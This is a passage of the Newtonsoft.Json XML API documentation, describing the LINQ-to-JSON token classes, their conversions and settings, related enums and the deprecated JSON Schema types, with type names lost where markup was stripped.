the container's children tokens. + + The container's children tokens. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Get the first child token of this token. + + + A containing the first child token of the . + + + + + Get the last child token of this token. + + + A containing the last child token of the . + + + + + Returns a collection of the child tokens of this token, in document order. + + + An of containing the child tokens of this , in document order. + + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + + A containing the child values of this , in document order. + + + + + Returns a collection of the descendant tokens for this token in document order. + + An of containing the descendant tokens of the . + + + + Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. + + An of containing this token, and all the descendant tokens of the . + + + + Adds the specified content as children of this . + + The content to be added. + + + + Adds the specified content as the first children of this . + + The content to be added. + + + + Creates a that can be used to add tokens to the . + + A that is ready to have content written to it. + + + + Replaces the child nodes of this token with the specified content. + + The content. + + + + Removes the child nodes from this token. + + + + + Merge the specified content into this . + + The content to be merged. + + + + Merge the specified content into this using . + + The content to be merged. + The used to merge the content. + + + + Gets the count of child JSON tokens. + + The count of child JSON tokens. + + + + Represents a collection of objects. + + The type of token. + + + + An empty collection of objects. + + + + + Initializes a new instance of the struct. + + The enumerable. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Gets the of with the specified key. + + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Represents a JSON object. + + + + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Occurs when a property value changes. + + + + + Occurs when a property value is changing. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Gets the node type for this . + + The type. + + + + Gets an of of this object's properties. + + An of of this object's properties. + + + + Gets a with the specified name. + + The property name. + A with the specified name or null. + + + + Gets the with the specified name. + The exact name will be searched for first and if no matching property is found then + the will be used to match a property. + + The property name. + One of the enumeration values that specifies how the strings will be compared. + A matched with the specified name or null. + + + + Gets a of of this object's property values. + + A of of this object's property values. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the with the specified property name. + + + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified property name. + + Name of the property. + The with the specified property name. + + + + Gets the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + One of the enumeration values that specifies how the strings will be compared. + The with the specified property name. + + + + Tries to get the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + The value. + One of the enumeration values that specifies how the strings will be compared. + true if a value was successfully retrieved; otherwise, false. + + + + Adds the specified property name. + + Name of the property. + The value. + + + + Determines whether the JSON object has the specified property name. + + Name of the property. + true if the JSON object has the specified property name; otherwise, false. + + + + Removes the property with the specified name. + + Name of the property. + true if item was successfully removed; otherwise, false. + + + + Tries to get the with the specified property name. + + Name of the property. + The value. + true if a value was successfully retrieved; otherwise, false. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Represents a JSON property. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the property name. + + The property name. + + + + Gets or sets the property value. + + The property value. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a view of a . + + + + + Initializes a new instance of the class. + + The name. + + + + When overridden in a derived class, returns whether resetting an object changes its value. + + + true if resetting the component changes its value; otherwise, false. + + The component to test for reset capability. + + + + When overridden in a derived class, gets the current value of the property on a component. + + + The value of a property for a given component. + + The component with the property for which to retrieve the value. + + + + When overridden in a derived class, resets the value for this property of the component to the default value. + + The component with the property value that is to be reset to the default value. + + + + When overridden in a derived class, sets the value of the component to a different value. + + The component with the property value that is to be set. + The new value. + + + + When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. + + + true if the property should be persisted; otherwise, false. + + The component with the property to be examined for persistence. + + + + When overridden in a derived class, gets the type of the component this property is bound to. + + + A that represents the type of component this property is bound to. + When the or + + methods are invoked, the object specified might be an instance of this type. + + + + + When overridden in a derived class, gets a value indicating whether this property is read-only. + + + true if the property is read-only; otherwise, false. + + + + + When overridden in a derived class, gets the type of the property. + + + A that represents the type of the property. + + + + + Gets the hash code for the name of the member. + + + + The hash code for the name of the member. + + + + + Represents a raw JSON string. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class. + + The raw json. + + + + Creates an instance of with the content of the reader's current token. + + The reader. + An instance of with the content of the reader's current token. + + + + Specifies the settings used when cloning JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets a flag that indicates whether to copy annotations when cloning a . + The default value is true. + + + A flag that indicates whether to copy annotations when cloning a . + + + + + Specifies the settings used when loading JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets how JSON comments are handled when loading JSON. + The default value is . + + The JSON comment handling. + + + + Gets or sets how JSON line info is handled when loading JSON. + The default value is . + + The JSON line info handling. + + + + Gets or sets how duplicate property names in JSON objects are handled when loading JSON. + The default value is . + + The JSON duplicate property name handling. + + + + Specifies the settings used when merging JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the method used when merging JSON arrays. + + The method used when merging JSON arrays. + + + + Gets or sets how null value properties are merged. + + How null value properties are merged. + + + + Gets or sets the comparison used to match property names while merging. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + The comparison used to match property names while merging. + + + + Specifies the settings used when selecting JSON. + + + + + Gets or sets a flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + A flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + + + Represents an abstract JSON token. + + + + + Gets a comparer that can compare two tokens for value equality. + + A that can compare two nodes for value equality. + + + + Gets or sets the parent. + + The parent. + + + + Gets the root of this . + + The root of this . + + + + Gets the node type for this . + + The type. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Compares the values of two tokens, including the values of all descendant tokens. + + The first to compare. + The second to compare. + true if the tokens are equal; otherwise false. + + + + Gets the next sibling token of this node. + + The that contains the next sibling token. + + + + Gets the previous sibling token of this node. + + The that contains the previous sibling token. + + + + Gets the path of the JSON token. + + + + + Adds the specified content immediately after this token. + + A content object that contains simple content or a collection of content objects to be added after this token. + + + + Adds the specified content immediately before this token. + + A content object that contains simple content or a collection of content objects to be added before this token. + + + + Returns a collection of the ancestor tokens of this token. + + A collection of the ancestor tokens of this token. + + + + Returns a collection of tokens that contain this token, and the ancestors of this token. + + A collection of tokens that contain this token, and the ancestors of this token. + + + + Returns a collection of the sibling tokens after this token, in document order. + + A collection of the sibling tokens after this tokens, in document order. + + + + Returns a collection of the sibling tokens before this token, in document order. + + A collection of the sibling tokens before this token, in document order. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets the with the specified key converted to the specified type. + + The type to convert the token to. + The token key. + The converted token value. + + + + Get the first child token of this token. + + A containing the first child token of the . + + + + Get the last child token of this token. + + A containing the last child token of the . + + + + Returns a collection of the child tokens of this token, in document order. + + An of containing the child tokens of this , in document order. + + + + Returns a collection of the child tokens of this token, in document order, filtered by the specified type. + + The type to filter the child tokens on. + A containing the child tokens of this , in document order. + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + A containing the child values of this , in document order. + + + + Removes this token from its parent. + + + + + Replaces this token with the specified token. + + The value. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Returns the indented JSON for this token. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + The indented JSON for this token. + + + + + Returns the JSON for this token using the given formatting and converters. + + Indicates how the output should be formatted. + A collection of s which will be used when writing the token. + The JSON for this token using the given formatting and converters. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to []. + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from [] to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Creates a for this token. + + A that can be used to read this token and its descendants. + + + + Creates a from an object. + + The object that will be used to create . + A with the value of the specified object. + + + + Creates a from an object using the specified . + + The object that will be used to create . + The that will be used when reading the object. + A with the value of the specified object. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + Creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A , or null. + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + A . + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + The used to select tokens. + A . + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + The used to select tokens. + An of that contains the selected elements. + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A new instance of the . + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A object to configure cloning settings. + A new instance of the . + + + + Adds an object to the annotation list of this . + + The annotation to add. + + + + Get the first annotation object of the specified type from this . + + The type of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets the first annotation object of the specified type from this . + + The of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets a collection of annotations of the specified type for this . + + The type of the annotations to retrieve. + An that contains the annotations for this . + + + + Gets a collection of annotations of the specified type for this . + + The of the annotations to retrieve. + An of that contains the annotations that match the specified type for this . + + + + Removes the annotations of the specified type from this . + + The type of annotations to remove. + + + + Removes the annotations of the specified type from this . + + The of annotations to remove. + + + + Compares tokens to determine whether they are equal. + + + + + Determines whether the specified objects are equal. + + The first object of type to compare. + The second object of type to compare. + + true if the specified objects are equal; otherwise, false. + + + + + Returns a hash code for the specified object. + + The for which a hash code is to be returned. + A hash code for the specified object. + The type of is a reference type and is null. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Gets the at the reader's current position. + + + + + Initializes a new instance of the class. + + The token to read from. + + + + Initializes a new instance of the class. + + The token to read from. + The initial path of the token. It is prepended to the returned . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Gets the path of the current JSON token. + + + + + Specifies the type of token. + + + + + No token type has been set. + + + + + A JSON object. + + + + + A JSON array. + + + + + A JSON constructor. + + + + + A JSON object property. + + + + + A comment. + + + + + An integer value. + + + + + A float value. + + + + + A string value. + + + + + A boolean value. + + + + + A null value. + + + + + An undefined value. + + + + + A date value. + + + + + A raw JSON value. + + + + + A collection of bytes value. + + + + + A Guid value. + + + + + A Uri value. + + + + + A TimeSpan value. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets the at the writer's current position. + + + + + Gets the token being written. + + The token being written. + + + + Initializes a new instance of the class writing to the given . + + The container being written to. + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the underlying . + + + + + Closes this writer. + If is set to true, the JSON is auto-completed. + + + Setting to true has no additional effect, since the underlying is a type that cannot be closed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end. + + The token. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes a value. + An error will be raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Represents a value in JSON (string, integer, date, etc). + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Creates a comment with the given value. + + The value. + A comment with the given value. + + + + Creates a string with the given value. + + The value. + A string with the given value. + + + + Creates a null value. + + A null value. + + + + Creates a undefined value. + + A undefined value. + + + + Gets the node type for this . + + The type. + + + + Gets or sets the underlying token value. + + The underlying token value. + + + + Writes this token to a . + + A into which this method will write. + A collection of s which will be used when writing the token. + + + + Indicates whether the current object is equal to another object of the same type. + + + true if the current object is equal to the parameter; otherwise, false. + + An object to compare with this object. + + + + Determines whether the specified is equal to the current . + + The to compare with the current . + + true if the specified is equal to the current ; otherwise, false. + + + + + Serves as a hash function for a particular type. + + + A hash code for the current . + + + + + Returns a that represents this instance. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format provider. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + The format provider. + + A that represents this instance. + + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: + Value + Meaning + Less than zero + This instance is less than . + Zero + This instance is equal to . + Greater than zero + This instance is greater than . + + + is not of the same type as this instance. + + + + + Specifies how line information is handled when loading JSON. + + + + + Ignore line information. + + + + + Load line information. + + + + + Specifies how JSON arrays are merged together. + + + + Concatenate arrays. + + + Union arrays, skipping items that already exist. + + + Replace all array items. + + + Merge array items together, matched by index. + + + + Specifies how null value properties are merged. + + + + + The content's null value properties will be ignored during merging. + + + + + The content's null value properties will be merged. + + + + + Specifies the member serialization options for the . + + + + + All public members are serialized by default. Members can be excluded using or . + This is the default member serialization mode. + + + + + Only members marked with or are serialized. + This member serialization mode can also be set by marking the class with . + + + + + All public and private fields are serialized. Members can be excluded using or . + This member serialization mode can also be set by marking the class with + and setting IgnoreSerializableAttribute on to false. + + + + + Specifies metadata property handling options for the . + + + + + Read metadata properties located at the start of a JSON object. + + + + + Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. + + + + + Do not try to read metadata properties. + + + + + Specifies missing member handling options for the . + + + + + Ignore a missing member and do not attempt to deserialize it. + + + + + Throw a when a missing member is encountered during deserialization. + + + + + Specifies null value handling options for the . + + + + + + + + + Include null values when serializing and deserializing objects. + + + + + Ignore null values when serializing and deserializing objects. + + + + + Specifies how object creation is handled by the . + + + + + Reuse existing objects, create new objects when needed. + + + + + Only reuse existing objects. + + + + + Always create new objects. + + + + + Specifies reference handling options for the . + Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . + + + + + + + + Do not preserve references when serializing types. + + + + + Preserve references when serializing into a JSON object structure. + + + + + Preserve references when serializing into a JSON array structure. + + + + + Preserve references when serializing. + + + + + Specifies reference loop handling options for the . + + + + + Throw a when a loop is encountered. + + + + + Ignore loop references and do not serialize. + + + + + Serialize loop references. + + + + + Indicating whether a property is required. + + + + + The property is not required. The default state. + + + + + The property must be defined in JSON but can be a null value. + + + + + The property must be defined in JSON and cannot be a null value. + + + + + The property is not required but it cannot be a null value. + + + + + + Contains the JSON schema extension methods. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + true if the specified is valid; otherwise, false. + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + When this method returns, contains any error messages generated while validating. + + true if the specified is valid; otherwise, false. + + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + The validation event handler. + + + + + An in-memory representation of a JSON Schema. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the id. + + + + + Gets or sets the title. + + + + + Gets or sets whether the object is required. + + + + + Gets or sets whether the object is read-only. + + + + + Gets or sets whether the object is visible to users. + + + + + Gets or sets whether the object is transient. + + + + + Gets or sets the description of the object. + + + + + Gets or sets the types of values allowed by the object. + + The type. + + + + Gets or sets the pattern. + + The pattern. + + + + Gets or sets the minimum length. + + The minimum length. + + + + Gets or sets the maximum length. + + The maximum length. + + + + Gets or sets a number that the value should be divisible by. + + A number that the value should be divisible by. + + + + Gets or sets the minimum. + + The minimum. + + + + Gets or sets the maximum. + + The maximum. + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). + + A flag indicating whether the value can not equal the number defined by the minimum attribute (). + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). + + A flag indicating whether the value can not equal the number defined by the maximum attribute (). + + + + Gets or sets the minimum number of items. + + The minimum number of items. + + + + Gets or sets the maximum number of items. + + The maximum number of items. + + + + Gets or sets the of items. + + The of items. + + + + Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . + + + true if items are validated using their array position; otherwise, false. + + + + + Gets or sets the of additional items. + + The of additional items. + + + + Gets or sets a value indicating whether additional items are allowed. + + + true if additional items are allowed; otherwise, false. + + + + + Gets or sets whether the array items must be unique. + + + + + Gets or sets the of properties. + + The of properties. + + + + Gets or sets the of additional properties. + + The of additional properties. + + + + Gets or sets the pattern properties. + + The pattern properties. + + + + Gets or sets a value indicating whether additional properties are allowed. + + + true if additional properties are allowed; otherwise, false. + + + + + Gets or sets the required property if this property is present. + + The required property if this property is present. + + + + Gets or sets the a collection of valid enum values allowed. + + A collection of valid enum values allowed. + + + + Gets or sets disallowed types. + + The disallowed types. + + + + Gets or sets the default value. + + The default value. + + + + Gets or sets the collection of that this schema extends. + + The collection of that this schema extends. + + + + Gets or sets the format. + + The format. + + + + Initializes a new instance of the class. + + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The object representing the JSON Schema. + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The to use when resolving schema references. + The object representing the JSON Schema. + + + + Load a from a string that contains JSON Schema. + + A that contains JSON Schema. + A populated from the string that contains JSON Schema. + + + + Load a from a string that contains JSON Schema using the specified . + + A that contains JSON Schema. + The resolver. + A populated from the string that contains JSON Schema. + + + + Writes this schema to a . + + A into which this method will write. + + + + Writes this schema to a using the specified . + + A into which this method will write. + The resolver used. + + + + Returns a that represents the current . + + + A that represents the current . + + + + + + Returns detailed information about the schema exception. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + + Generates a from a specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets how undefined schemas are handled by the serializer. + + + + + Gets or sets the contract resolver. + + The contract resolver. + + + + Generate a from the specified type. + + The type to generate a from. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + + Resolves from an id. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the loaded schemas. + + The loaded schemas. + + + + Initializes a new instance of the class. + + + + + Gets a for the specified reference. + + The id. + A for the specified reference. + + + + + The value types allowed by the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + No type specified. + + + + + String type. + + + + + Float type. + + + + + Integer type. + + + + + Boolean type. + + + + + Object type. + + + + + Array type. + + + + + Null type. + + + + + Any type. + + + + + + Specifies undefined schema Id handling options for the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Do not infer a schema Id. + + + + + Use the .NET type name as the schema Id. + + + + + Use the assembly qualified .NET type name as the schema Id. + + + + + + Returns detailed information related to the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for 